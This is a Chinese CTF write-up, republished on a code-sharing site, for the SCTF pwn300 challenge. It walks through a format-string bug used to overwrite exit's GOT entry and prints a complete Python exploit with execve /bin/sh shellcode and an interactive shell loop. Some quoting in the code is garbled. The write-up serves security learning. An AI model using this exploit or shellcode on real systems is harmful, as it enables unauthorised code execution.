码迷,mamicode.com
首页 > 其他好文 > 详细

sctf pwn300

时间:2015-04-05 17:16:20      阅读:162      评论:0      收藏:0      [点我收藏+]

标签:

  拿到程序后,拉入IDA,大概看了一番后,尝试运行,进一步了解程序的功能。

技术分享

  发现NX enabled,No PIE。

技术分享

  一号是一个猜数字的游戏,二号是一个留言本,三号是打印出留言的内容,四号是退出。

  观察IDA中逻辑后,发现一个格式化字符串漏洞。

技术分享

  在三号功能(Print your message)中0x08048837的printf调用处,存在格式化字符串漏洞。这个0x08048830处的src是二号功能(Leave a message)处留言的地址。即我们可以控制输入的内容,并且输出。

  格式化字符串漏洞可以导致任意地址写,我们可以将GOT中exit(0x08049120)处的内容修改,这样在进行四号功能(exit)的时候,可以控制程序流程。设想将shellcode写入src中(.bss:08049180),修改GOT中exit内容至08049180,这样程序退出时,将执行shellcode,获取shell。通过验证,发现0x08049180确实可以执行。

技术分享   在进行输出留言之前,将留言的内容从src中(.bss:08049180)复制到了栈中。

技术分享

  strcpy的dest的位置:ebp-40Ch;esp的位置:ebp-428h。那么esp距离dest的值为:(ebp-40Ch)-(ebp-428h)=28h。

  在08048837处调用printf时,esp距离dest为28h。因此,构造的任意写攻击的exploit:

exit_in_got = 0x08049180
set1 = pack(‘<I‘, 0x08049120) + ‘%%%dc‘ % ((exit_in_got & 0xff) - 4) + ‘%7$hhn‘    #7$代表是第七个参数,hhn是指修改单个字节
set2 = pack(‘<I‘, 0x08049121) + ‘%%%dc‘ % ((exit_in_got>>8 & 0xff) - 4) + ‘%7$hhn‘

  set1的目的是修改0x08049120处的字节为0x80;set2的目的是修改0x08049121处的字节为0x91。(0x08049120就是GOT中exit的位置)。我们只需要修改低位的两个字节,高位的两个字节不用修改。

  exploit来自(囧,出处找不着了,如果涉嫌侵权,立马删掉。这个exploit思路很清晰):

from struct import *
from socket import *
import time

s = socket(AF_INET, SOCK_STREAM)
s.connect((192.168.200.7, 10001)) #local debug

shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f"                 "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0"                 "\x0b\xcd\x80"
exit_in_got = 0x08049180
set1 = pack(<I, 0x08049120) + %%%dc % ((exit_in_got & 0xff) - 4) + %7$hhn#7$代表是第七个参数,hhn是指修改单个字节
set2 = pack(<I, 0x08049121) + %%%dc % ((exit_in_got>>8 & 0xff) - 4) + %7$hhn

def read_until(val):
     buffer = ‘‘
     while True:
          buffer += s.recv(2048)
          if val in buffer:
               return buffer
def write_val(val):
     print read_until(choice:)
     s.send(2\n)
     print read_until(message)
     s.send(val + \n)
     print read_until(choice:)
     s.send(3\n)
write_val(set1)  #修改0x08049120处的一个字节
write_val(set2)  #修改0x08049121处的一个字节
write_val(shellcode)  #写入shellcode
print read_until(choice:)

time.sleep(5)
s.send(4\n)  #触发shellcode

while 1:
     s.send(raw_input($ ) + \n)
     time.sleep(1)
     print s.recv(1024)

 

sctf pwn300

标签:

原文地址:http://www.cnblogs.com/wangaohui/p/4394167.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!